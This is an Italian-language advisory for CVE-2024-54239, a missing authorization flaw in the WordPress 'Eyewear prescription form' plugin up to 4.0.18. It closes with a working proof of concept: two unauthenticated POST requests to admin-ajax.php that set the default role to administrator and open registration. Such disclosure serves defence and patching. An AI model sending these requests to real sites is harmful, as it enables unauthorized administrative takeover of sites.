CVE-2024-54239

Modulo per prescrizioni di occhiali <= 4.0.18 - Autorizzazione mancante che consente l'aggiornamento arbitrario delle opzioni senza autenticazione

Descrizione

Il plugin Eyewear prescription form per WordPress è vulnerabile a modifiche non autorizzate dei dati che possono portare a un'escalation dei privilegi a causa di un controllo delle capability mancante nella funzione adminSetting() in tutte le versioni fino alla 4.0.18 inclusa. Ciò consente a utenti non autenticati di aggiornare opzioni arbitrarie sul sito WordPress. Questa vulnerabilità può essere sfruttata per impostare il ruolo predefinito per la registrazione ad amministratore e abilitare la registrazione degli utenti, consentendo agli attaccanti di ottenere accesso amministrativo a un sito vulnerabile.

Dettagli

• Tipo: plugin
• Slug: eyewear-prescription-form
• Versione interessata: 4.0.18
• Punteggio CVSS: 9.8
• Valutazione CVSS: Critico
• Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-54239
• Stato: Attivo

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

action=adminSetting&data[settingCode]=default_role&data[settingValue]=administrator

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

action=adminSetting&data[settingCode]=users_can_register&data[settingValue]=1